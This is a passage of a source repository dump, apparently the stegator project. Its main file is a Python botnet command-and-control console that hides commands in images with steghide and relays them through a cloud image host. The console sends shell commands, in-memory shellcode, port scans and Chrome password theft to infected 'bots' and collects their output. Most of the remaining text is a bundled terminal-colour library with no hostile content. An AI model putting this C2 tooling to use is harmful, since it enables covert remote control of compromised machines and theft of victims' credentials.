PASSPHRASEENTRY = "P&$$W0rd" 67 | TEMPIMPLANTIMG = "implantoutput.jpg" 68 | TEMPSTEGOIMG = "stegatoroutput.jpg" 69 | DEFAULT_TAG = "cacafuti" 70 | 71 | 72 | #------------------------------------------------------------------------------ 73 | # cloudinary authentication 74 | #------------------------------------------------------------------------------ 75 | 76 | cloudinary.config( 77 | cloud_name = "xxxxxxxxxxxx", 78 | api_key = "xxxxxxxxxxxx", 79 | api_secret = "xxxxxxxxxxxx" 80 | ) 81 | 82 | 83 | #------------------------------------------------------------------------------ 84 | # Class ImageHandle 85 | #------------------------------------------------------------------------------ 86 | 87 | class ImageHandle(): 88 | 89 | def get_img(self): 90 | 91 | try: 92 | imgur = "None" 93 | download_img = True 94 | 95 | print((colored('[+] Downloading image from Cloud Service...', 'white'))) 96 | while download_img: 97 | 98 | # Remove not valid image downloaded 99 | if (os.path.isfile(imgur)): 100 | os.remove(imgur) 101 | 102 | imgur = ''.join(random.sample(string.letters+string.digits, 5)) + '.jpg' 103 | img = urllib2.urlopen("http://i.imgur.com/" + imgur).read() 104 | 105 | if len(img) != 503: # 'image not found' is 503 bytes 106 | with open(os.path.join('./', imgur), "wb") as f: 107 | f.write(img) 108 | 109 | f.close() 110 | 111 | with Image.open(imgur) as im: 112 | width, height = im.size 113 | 114 | # Big enough to insert data 115 | if (width > 400 and height > 400): 116 | download_img = False 117 | 118 | return imgur 119 | except: 120 | print 'Get image error' 121 | if (os.path.isfile(imgur)): 122 | os.remove(imgur) 123 | 124 | 125 | 126 | def save(self, data, jobid): 127 | global DEFAULT_TAG 128 | global PASSPHRASEENTRY 129 | global TEMPSTEGOIMG 130 | 131 | steghideOutput = True 132 | srcpathimage = self.get_img() 133 | 134 | try: 135 | shutil.copy2(srcpathimage, TEMPSTEGOIMG) 136 | os.remove(srcpathimage) 137 | 138 | tmpdir = tempfile.mkdtemp() 139 | predictable_filename = 'tempfile' 140 | # Ensure the file is read/write by the creator only 141 | saved_umask = os.umask(0077) 142 | pathimplantoutput = os.path.join(tmpdir, predictable_filename) 143 | 144 | try: 145 | with open(pathimplantoutput, "w") as tmp: 146 | tmp.write(str(data)) 147 | tmp.close() 148 | 149 | process = subprocess.Popen(['steghide', 'embed', '-p', PASSPHRASEENTRY, '-q', '-f', '-ef', pathimplantoutput, '-cf', TEMPSTEGOIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE) 150 | out, err = process.communicate() 151 | if out: 152 | print out 153 | if ("steghide:" in out): 154 | # steghide error 155 | steghideOutput = False 156 | if err: 157 | print err 158 | 159 | except IOError as e: 160 | print 'IOError' 161 | os.remove(pathimplantoutput) 162 | os.umask(saved_umask) 163 | os.rmdir(tmpdir) 164 | else: 165 | os.remove(pathimplantoutput) 166 | finally: 167 | os.umask(saved_umask) 168 | os.rmdir(tmpdir) 169 | 170 | except: 171 | print((colored('[-] Error saving image', 'yellow'))) 172 | 173 | # Upload img downloaded in cloud service 174 | if (os.path.isfile(TEMPSTEGOIMG) and steghideOutput): 175 | 176 | try: 177 | print((colored('[+] Uploaded image to Cloud Service', 'white'))) 178 | jobidmaster = "master_" + jobid 179 | response = upload(TEMPSTEGOIMG, 180 | tags = DEFAULT_TAG, 181 | public_id = jobidmaster, 182 | ) 183 | 184 | except: 185 | print((colored('[-] Cloud Service error', 'yellow'))) 186 | return False 187 | finally: 188 | if (os.path.isfile(TEMPSTEGOIMG)): 189 | os.remove(TEMPSTEGOIMG) 190 | else: 191 | return False 192 | 193 | return steghideOutput 194 | 195 | 196 | 197 | def load(self, urlimg): 198 | 199 | global DEFAULT_TAG 200 | global TEMPIMPLANTIMG 201 | global PASSPHRASEENTRY 202 | 203 | extractedmessage = "" 204 | 205 | img = urllib2.urlopen(urlimg).read() 206 | if len(img) != 503: # 'image not found' is 503 bytes 207 | with open(os.path.join('./', TEMPIMPLANTIMG), "wb") as f: 208 | f.write(img) 209 | 210 | 211 | if (os.path.isfile(TEMPIMPLANTIMG)): 212 | 213 | tmpdir = tempfile.mkdtemp() 214 | predictable_filename = 'tempfile' 215 | # Ensure the file is read/write by the creator only 216 | saved_umask = os.umask(0077) 217 | path = os.path.join(tmpdir, predictable_filename) 218 | try: 219 | with open(path, "w") as tmp: 220 | 221 | process = subprocess.Popen(['steghide', 'extract', '-p', PASSPHRASEENTRY, '-q', '-f', '-xf', path, '-sf', TEMPIMPLANTIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE) 222 | 223 | out, err = process.communicate() 224 | if out: 225 | print out 226 | if err: 227 | print err 228 | 229 | tmp.close() 230 | 231 | file = open(path, 'r') 232 | stegtext = file.read() 233 | # Added command to bots list 234 | extractedmessage = CommandOutput(stegtext) 235 | 236 | except IOError as e: 237 | print 'IOError' 238 | else: 239 | os.remove(path) 240 | finally: 241 | os.umask(saved_umask) 242 | os.rmdir(tmpdir) 243 | os.remove(TEMPIMPLANTIMG) 244 | 245 | return extractedmessage 246 | 247 | 248 | 249 | #------------------------------------------------------------------------------ 250 | # Class CommandOutput: build Command to send 251 | #------------------------------------------------------------------------------ 252 | 253 | 254 | class CommandOutput: 255 | 256 | def __init__(self, message): 257 | try: 258 | data = json.loads(base64.b64decode(message)) 259 | self.data = data 260 | self.sender = data['sender'] 261 | self.receiver = data['receiver'] 262 | self.output = data['output'] 263 | self.cmd = data['cmd'] 264 | self.jobid = data['jobid'] 265 | except Exception as e: 266 | print ('Error decoding message: %s' % e) 267 | 268 | def get_jobid(self): 269 | return self.jobid 270 | 271 | def get_sender(self): 272 | return self.sender 273 | 274 | def get_receiver(self): 275 | return self.receiver 276 | 277 | def get_cmd(self): 278 | return self.cmd 279 | 280 | def get_output(self): 281 | return self.output 282 | 283 | 284 | #------------------------------------------------------------------------------ 285 | # Class CommandToSend: To send commands 286 | #------------------------------------------------------------------------------ 287 | 288 | class CommandToSend: 289 | def __init__(self, sender, receiver, cmd): 290 | self.sender = sender 291 | self.receiver = receiver 292 | self.cmd = cmd 293 | self.jobid = ''.join(uuid.uuid4().hex) 294 | 295 | def build(self): 296 | cmd = {'sender': self.sender, 297 | 'receiver': self.receiver, 298 | 'cmd': self.cmd, 299 | 'jobid': self.jobid} 300 | return base64.b64encode(json.dumps(cmd)) 301 | 302 | def get_jobid(self): 303 | return self.jobid 304 | 305 | 306 | 307 | 308 | #------------------------------------------------------------------------------ 309 | # Main 310 | #------------------------------------------------------------------------------ 311 | 312 | 313 | def refresh(refresh_bots=True): 314 | global BOTS_ALIVE 315 | global COMMANDS 316 | global DEFAULT_TAG 317 | 318 | if refresh_bots: 319 | BOTS_ALIVE = [] 320 | 321 | print((colored('[+] Sending command to retrieve alive bots', 'white'))) 322 | 323 | cmd = CommandToSend('master', DEFAULT_TAG, 'PING') 324 | jobid = cmd.get_jobid() 325 | 326 | saveimg = ImageHandle() 327 | 328 | if (saveimg.save(cmd.build(), jobid)): 329 | print((colored('[+] Steganography applied, image saved' , 'white'))) 330 | else: 331 | print((colored('[-] Error saving the image. Try again' , 'yellow'))) 332 | return None 333 | 334 | print((colored('[+] Sleeping 10 secs to wait for bots' + os.linesep, 'yellow'))) 335 | time.sleep(10) 336 | 337 | 338 | loadimg = ImageHandle() 339 | 340 | response = resources_by_tag(DEFAULT_TAG) 341 | get_response = response.get('resources', []) 342 | 343 | for key in sorted(get_response): 344 | img = urllib2.urlopen(key['url']).read() 345 | if len(img) != 503: # 'image not found' is 503 bytes 346 | 347 | public_id = key['public_id'] # JOBID 348 | 349 | if (public_id.startswith("implant_")): 350 | message = loadimg.load(key['url']) 351 | try: 352 | if refresh_bots and message.get_jobid() == jobid: 353 | BOTS_ALIVE.append(message) 354 | else: 355 | existcommand = False 356 | for command in COMMANDS: 357 | if (message.get_jobid() == command.get_jobid()): 358 | existcommand = True 359 | if not (existcommand): 360 | COMMANDS.append(message) 361 | except: 362 | pass 363 | 364 | if refresh_bots: 365 | list_bots() 366 | 367 | 368 | def list_bots(): 369 | if (len(BOTS_ALIVE) == 0): 370 | print((colored('[-] No bots alive' + os.linesep, 'red'))) 371 | return 372 | 373 | for bot in BOTS_ALIVE: 374 | print((colored('Bot: %s %s' % (bot.get_sender(), bot.get_output()), 'green'))) 375 | 376 | 377 | 378 | def list_commands(): 379 | if (len(COMMANDS) == 0): 380 | print((colored('[-] No commands loaded' + os.linesep, 'yellow'))) 381 | return 382 | 383 | for command in COMMANDS: 384 | print((colored("%s: '%s' on %s" % (command.get_jobid(), command.get_cmd(), command.get_sender()), 'blue'))) 385 | 386 | 387 | def retrieve_command(id_command): 388 | refresh(False) 389 | for command in COMMANDS: 390 | if (command.get_jobid() == id_command): 391 | print "%s:\n%s" % (command.get_jobid(), command.get_output()) 392 | return 393 | print((colored('[-] Not able to retrieve the output' + os.linesep, 'yellow'))) 394 | 395 | 396 | def help(): 397 | helpcolor = "white" 398 | print(os.linesep) 399 | print((colored(' cleanup - Clean Cloud Service images', helpcolor))) 400 | print((colored(' refresh - Refresh C&C control and ping all bots', helpcolor))) 401 | print((colored(' bots - List active bots', helpcolor))) 402 | print((colored(' commands - List executed commands', helpcolor))) 403 | print((colored(' retrieve - Retrieve jobid command', helpcolor))) 404 | print((colored(' cmd command - Execute the command on the bot', helpcolor))) 405 | print((colored(' shellcode shellcode - Load and execute shellcode in memory (Windows only)', helpcolor))) 406 | print((colored(' scanner : - Port scanner example: scanner 0:0:0:0 192.168.1.1:22,80,443', helpcolor))) 407 | print((colored(' chromepasswords - Retrieve Chrome Passwords from bot (Windows only)', helpcolor))) 408 | print((colored(' help - Print this usage', helpcolor))) 409 | print((colored(' exit - Exit the client', helpcolor))) 410 | print(os.linesep) 411 | 412 | 413 | def cleanup(): 414 | try: 415 | global DEFAULT_TAG 416 | 417 | response = resources_by_tag(DEFAULT_TAG) 418 | count = len(response.get('resources', [])) 419 | 420 | print((colored("[+] Deleting %d images from previous sessions..." % (count), "white"))) 421 | 422 | if (count == 0): 423 | print((colored("[-] No images found", "white"))) 424 | return 425 | 426 | delete_resources_by_tag(DEFAULT_TAG) 427 | 428 | print((colored("[+] Done", "white"))) 429 | except: 430 | print((colored("[-] Error trying to remove previous images", "yellow"))) 431 | 432 | 433 | def main(): 434 | # Remove previous images from cloud 435 | cleanup() 436 | 437 | help() 438 | 439 | while True: 440 | cmd_to_launch = raw_input('C&C console > ') 441 | 442 | if (cmd_to_launch == 'refresh'): 443 | refresh() 444 | elif (cmd_to_launch == 'bots'): 445 | list_bots() 446 | elif (cmd_to_launch == 'commands'): 447 | list_commands() 448 | elif (cmd_to_launch == 'help'): 449 | help() 450 | elif (cmd_to_launch == 'cleanup'): 451 | cleanup() 452 | elif (cmd_to_launch == 'exit'): 453 | sys.exit(0) 454 | else: 455 | cmd_to_launch = cmd_to_launch.split(' ') 456 | if (cmd_to_launch[0] == "cmd"): 457 | cmd = CommandToSend('master', cmd_to_launch[1], ' '.join(cmd_to_launch[2:])) 458 | saveimg = ImageHandle() 459 | 460 | if (saveimg.save(cmd.build(), cmd.get_jobid())): 461 | print((colored('[+] Steganography applied, image saved' , 'white'))) 462 | print((colored("[+] Sent command %s with jobid: %s" % (' '.join(cmd_to_launch[2:]), cmd.get_jobid()), "white"))) 463 | else: 464 | print((colored('[-] Error saving the image. Try again' , 'yellow'))) 465 | 466 | elif (cmd_to_launch[0] == "shellcode"): 467 | cmd = CommandToSend('master', cmd_to_launch[1], 'shellcode %s' % base64.b64encode(cmd_to_launch[2])) 468 | saveimg = ImageHandle() 469 | 470 | if (saveimg.save(cmd.build(), cmd.get_jobid())): 471 | print((colored('[+] Steganography applied, image saved' , 'white'))) 472 | print((colored("[+] Sent shellcode with jobid: %s" % (cmd.get_jobid()), "white"))) 473 | 474 | else: 475 | print((colored('[-] Error saving the image. Try again' , 'yellow'))) 476 | 477 | elif (cmd_to_launch[0] == "scanner"): 478 | cmd = CommandToSend('master', cmd_to_launch[1], 'scanner %s' % cmd_to_launch[2]) 479 | saveimg = ImageHandle() 480 | 481 | if (saveimg.save(cmd.build(), cmd.get_jobid())): 482 | print((colored('[+] Steganography applied, image saved' , 'white'))) 483 | print((colored("[+] Sent scanner with jobid: %s" % (cmd.get_jobid()), "white"))) 484 | 485 | else: 486 | print((colored('[-] Error saving the image. Try again' , 'yellow'))) 487 | 488 | elif (cmd_to_launch[0] == "chromepasswords"): 489 | cmd = CommandToSend('master', cmd_to_launch[1], 'chromepasswords') 490 | saveimg = ImageHandle() 491 | 492 | if (saveimg.save(cmd.build(), cmd.get_jobid())): 493 | print((colored('[+] Steganography applied, image saved' , 'white'))) 494 | print((colored("[+] Retrieve chrome passwords with jobid: %s" % (cmd.get_jobid()), "white"))) 495 | 496 | else: 497 | print((colored('[-] Error saving the image. Try again' , 'yellow'))) 498 | 499 | 500 | elif (cmd_to_launch[0] == "retrieve"): 501 | retrieve_command(cmd_to_launch[1]) 502 | else: 503 | print((colored("[!] Unrecognized command", "yellow"))) 504 | 505 | if __name__ == '__main__': 506 | main() 507 | -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1modm/stegator/448fe500095159098c661f50cd3c4954e4a8220c/thirdparty/__init__.py -------------------------------------------------------------------------------- /thirdparty/color/__init__.py: -------------------------------------------------------------------------------- 1 | from .initialise import init, deinit, reinit 2 | from .ansi import Fore, Back, Style 3 | from .ansitowin32 import AnsiToWin32 4 | from .termcolor import * 5 | 6 | VERSION = '0.1' 7 | 8 | init() 9 | -------------------------------------------------------------------------------- /thirdparty/color/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /thirdparty/color/ansitowin32.py: -------------------------------------------------------------------------------- 1 | 2 | import re 3 | import sys 4 | 5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 6 | from .winterm import WinTerm, WinColor, WinStyle 7 | from .win32 import windll 8 | 9 | 10 | if windll is not None: 11 | winterm = WinTerm() 12 | 13 | 14 | def is_a_tty(stream): 15 | return hasattr(stream, 'isatty') and stream.isatty() 16 | 17 | 18 | class StreamWrapper(object): 19 | ''' 20 | Wraps a stream (such as stdout), acting as a transparent proxy for all 21 | attribute access apart from method 'write()', which is delegated to our 22 | Converter instance. 23 | ''' 24 | def __init__(self, wrapped, converter): 25 | # double-underscore everything to prevent clashes with names of 26 | # attributes on the wrapped stream object. 27 | self.__wrapped = wrapped 28 | self.__convertor = converter 29 | 30 | def __getattr__(self, name): 31 | return getattr(self.__wrapped, name) 32 | 33 | def write(self, text): 34 | self.__convertor.write(text) 35 | 36 | 37 | class AnsiToWin32(object): 38 | ''' 39 | Implements a 'write()' method which, on Windows, will strip ANSI character 40 | sequences from the text, and if outputting to a tty, will convert them into 41 | win32 function calls. 42 | ''' 43 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') 44 | 45 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 46 | # The wrapped stream (normally sys.stdout or sys.stderr) 47 | self.wrapped = wrapped 48 | 49 | # should we reset colors to defaults after every .write() 50 | self.autoreset = autoreset 51 | 52 | # create the proxy wrapping our output stream 53 | self.stream = StreamWrapper(wrapped, self) 54 | 55 | on_windows = sys.platform.startswith('win') 56 | 57 | # should we strip ANSI sequences from our output? 58 | if strip is None: 59 | strip = on_windows 60 | self.strip = strip 61 | 62 | # should we should convert ANSI sequences into win32 calls? 63 | if convert is None: 64 | convert = on_windows and is_a_tty(wrapped) 65 | self.convert = convert 66 | 67 | # dict of ansi codes to win32 functions and parameters 68 | self.win32_calls = self.get_win32_calls() 69 | 70 | # are we wrapping stderr? 71 | self.on_stderr = self.wrapped is sys.stderr 72 | 73 | 74 | def should_wrap(self): 75 | ''' 76 | True if this class is actually needed. If false, then the output 77 | stream will not be affected, nor will win32 calls be issued, so 78 | wrapping stdout is not actually required. This will generally be 79 | False on non-Windows platforms, unless optional functionality like 80 | autoreset has been requested using kwargs to init() 81 | ''' 82 | return self.convert or self.strip or self.autoreset 83 | 84 | 85 | def get_win32_calls(self): 86 | if self.convert and winterm: 87 | return { 88 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 89 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 90 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 91 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 92 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 93 | AnsiFore.RED: (winterm.fore, WinColor.RED), 94 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 95 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 96 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 97 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 98 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 99 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 100 | AnsiFore.RESET: (winterm.fore, ), 101 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 102 | AnsiBack.RED: (winterm.back, WinColor.RED), 103 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 104 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 105 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 106 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 107 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 108 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 109 | AnsiBack.RESET: (winterm.back, ), 110 | } 111 | 112 | 113 | def write(self, text): 114 | if self.strip or self.convert: 115 | self.write_and_convert(text) 116 | else: 117 | self.wrapped.write(text) 118 | self.wrapped.flush() 119 | if self.autoreset: 120 | self.reset_all() 121 | 122 | 123 | def reset_all(self): 124 | if self.convert: 125 | self.call_win32('m', (0,)) 126 | elif is_a_tty(self.wrapped): 127 | self.wrapped.write(Style.RESET_ALL) 128 | 129 | 130 | def write_and_convert(self, text): 131 | ''' 132 | Write the given text to our wrapped stream, stripping any ANSI 133 | sequences from the text, and optionally converting them into win32 134 | calls. 135 | ''' 136 | cursor = 0 137 | for match in self.ANSI_RE.finditer(text): 138 | start, end = match.span() 139 | self.write_plain_text(text, cursor, start) 140 | self.convert_ansi(*match.groups()) 141 | cursor = end 142 | self.write_plain_text(text, cursor, len(text)) 143 | 144 | 145 | def write_plain_text(self, text, start, end): 146 | if start < end: 147 | self.wrapped.write(text[start:end]) 148 | self.wrapped.flush() 149 | 150 | 151 | def convert_ansi(self, paramstring, command): 152 | if self.convert: 153 | params = self.extract_params(paramstring) 154 | self.call_win32(command, params) 155 | 156 | 157 | def extract_params(self, paramstring): 158 | def split(paramstring): 159 | for p in paramstring.split(';'): 160 | if p != '': 161 | yield int(p) 162 | return tuple(split(paramstring)) 163 | 164 | 165 | def call_win32(self, command, params): 166 | if params == []: 167 | params = [0] 168 | if command == 'm': 169 | for param in params: 170 | if param in self.win32_calls: 171 | func_args = self.win32_calls[param] 172 | func = func_args[0] 173 | args = func_args[1:] 174 | kwargs = dict(on_stderr=self.on_stderr) 175 | func(*args, **kwargs) 176 | elif command in ('H', 'f'): # set cursor position 177 | func = winterm.set_cursor_position 178 | func(params, on_stderr=self.on_stderr) 179 | elif command in ('J'): 180 | func = winterm.erase_data 181 | func(params, on_stderr=self.on_stderr) 182 | elif command == 'A': 183 | if params == () or params == None: 184 | num_rows = 1 185 | else: 186 | num_rows = params[0] 187 | func = winterm.cursor_up 188 | func(num_rows, on_stderr=self.on_stderr) 189 | 190 | -------------------------------------------------------------------------------- /thirdparty/color/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /thirdparty/color/termcolor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright (c) 2008-2011 Volvox Development Team 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in 12 | # all copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | # THE SOFTWARE. 21 | # 22 | # Author: Konstantin Lepa 23 | 24 | """ANSII Color formatting for output in terminal.""" 25 | 26 | from __future__ import print_function 27 | import os 28 | 29 | 30 | __ALL__ = [ 'colored', 'cprint' ] 31 | 32 | VERSION = (1, 1, 0) 33 | 34 | ATTRIBUTES = dict( 35 | list(zip([ 36 | 'bold', 37 | 'dark', 38 | '', 39 | 'underline', 40 | 'blink', 41 | '', 42 | 'reverse', 43 | 'concealed' 44 | ], 45 | list(range(1, 9)) 46 | )) 47 | ) 48 | del ATTRIBUTES[''] 49 | 50 | 51 | HIGHLIGHTS = dict( 52 | list(zip([ 53 | 'on_grey', 54 | 'on_red', 55 | 'on_green', 56 | 'on_yellow', 57 | 'on_blue', 58 | 'on_magenta', 59 | 'on_cyan', 60 | 'on_white' 61 | ], 62 | list(range(40, 48)) 63 | )) 64 | ) 65 | 66 | 67 | COLORS = dict( 68 | list(zip([ 69 | 'grey', 70 | 'red', 71 | 'green', 72 | 'yellow', 73 | 'blue', 74 | 'magenta', 75 | 'cyan', 76 | 'white', 77 | ], 78 | list(range(30, 38)) 79 | )) 80 | ) 81 | 82 | 83 | RESET = '\033[0m' 84 | 85 | 86 | def colored(text, color=None, on_color=None, attrs=None): 87 | """Colorize text. 88 | 89 | Available text colors: 90 | red, green, yellow, blue, magenta, cyan, white. 91 | 92 | Available text highlights: 93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. 94 | 95 | Available attributes: 96 | bold, dark, underline, blink, reverse, concealed. 97 | 98 | Example: 99 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) 100 | colored('Hello, World!', 'green') 101 | """ 102 | if os.getenv('ANSI_COLORS_DISABLED') is None: 103 | fmt_str = '\033[%dm%s' 104 | if color is not None: 105 | text = fmt_str % (COLORS[color], text) 106 | 107 | if on_color is not None: 108 | text = fmt_str % (HIGHLIGHTS[on_color], text) 109 | 110 | if attrs is not None: 111 | for attr in attrs: 112 | text = fmt_str % (ATTRIBUTES[attr], text) 113 | 114 | text += RESET 115 | return text 116 | 117 | 118 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 119 | """Print colorize text. 120 | 121 | It accepts arguments of print function. 122 | """ 123 | 124 | print((colored(text, color, on_color, attrs)), **kwargs) 125 | 126 | 127 | if __name__ == '__main__': 128 | print('Current terminal type: %s' % os.getenv('TERM')) 129 | print('Test basic colors:') 130 | cprint('Grey color', 'grey') 131 | cprint('Red color', 'red') 132 | cprint('Green color', 'green') 133 | cprint('Yellow color', 'yellow') 134 | cprint('Blue color', 'blue') 135 | cprint('Magenta color', 'magenta') 136 | cprint('Cyan color', 'cyan') 137 | cprint('White color', 'white') 138 | print(('-' * 78)) 139 | 140 | print('Test highlights:') 141 | cprint('On grey color', on_color='on_grey') 142 | cprint('On red color', on_color='on_red') 143 | cprint('On green color', on_color='on_green') 144 | cprint('On yellow color', on_color='on_yellow') 145 | cprint('On blue color', on_color='on_blue') 146 | cprint('On magenta color', on_color='on_magenta') 147 | cprint('On cyan color', on_color='on_cyan') 148 | cprint('On white color', color='grey', on_color='on_white') 149 | print('-' * 78) 150 | 151 | print('Test attributes:') 152 | cprint('Bold grey color', 'grey', attrs=['bold']) 153 | cprint('Dark red color', 'red', attrs=['dark']) 154 | cprint('Underline green color', 'green', attrs=['underline']) 155 | cprint('Blink yellow color', 'yellow', attrs=['blink']) 156 | cprint('Reversed blue color', 'blue', attrs=['reverse']) 157 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) 158 | cprint('Bold underline reverse cyan color', 'cyan', 159 | attrs=['bold', 'underline', 'reverse']) 160 | cprint('Dark blink concealed white color', 'white', 161 | attrs=['dark', 'blink', 'concealed']) 162 | print(('-' * 78)) 163 | 164 | print('Test mixing:') 165 | cprint('Underline red on grey color', 'red', 'on_grey', 166 | ['underline']) 167 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) 168 | 169 | -------------------------------------------------------------------------------- /thirdparty/color/win32.py: -------------------------------------------------------------------------------- 1 | 2 | # from winbase.h 3 | STDOUT = -11 4 | STDERR = -12 5 | 6 | try: 7 | from ctypes import windll 8 | except ImportError: 9 | windll = None 10 | SetConsoleTextAttribute = lambda *_: None 11 | else: 12 | from ctypes import ( 13 | byref, Structure, c_char, c_short, c_uint32, c_ushort 14 | ) 15 | 16 | handles = { 17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT), 18 | STDERR: windll.kernel32.GetStdHandle(STDERR), 19 | } 20 | 21 | SHORT = c_short 22 | WORD = c_ushort 23 | DWORD = c_uint32 24 | TCHAR = c_char 25 | 26 | class COORD(Structure): 27 | """struct in wincon.h""" 28 | _fields_ = [ 29 | ('X', SHORT), 30 | ('Y', SHORT), 31 | ] 32 | 33 | class SMALL_RECT(Structure): 34 | """struct in wincon.h.""" 35 | _fields_ = [ 36 | ("Left", SHORT), 37 | ("Top", SHORT), 38 | ("Right", SHORT), 39 | ("Bottom", SHORT), 40 | ] 41 | 42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 43 | """struct in wincon.h.""" 44 | _fields_ = [ 45 | ("dwSize", COORD), 46 | ("dwCursorPosition", COORD), 47 | ("wAttributes", WORD), 48 | ("srWindow", SMALL_RECT), 49 | ("dwMaximumWindowSize", COORD), 50 | ] 51 | def __str__(self): 52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 53 | self.dwSize.Y, self.dwSize.X 54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 55 | , self.wAttributes 56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 58 | ) 59 | 60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 61 | handle = handles[stream_id] 62 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 63 | success = windll.kernel32.GetConsoleScreenBufferInfo( 64 | handle, byref(csbi)) 65 | return csbi 66 | 67 | 68 | def SetConsoleTextAttribute(stream_id, attrs): 69 | handle = handles[stream_id] 70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs) 71 | 72 | 73 | def SetConsoleCursorPosition(stream_id, position): 74 | position = COORD(*position) 75 | # 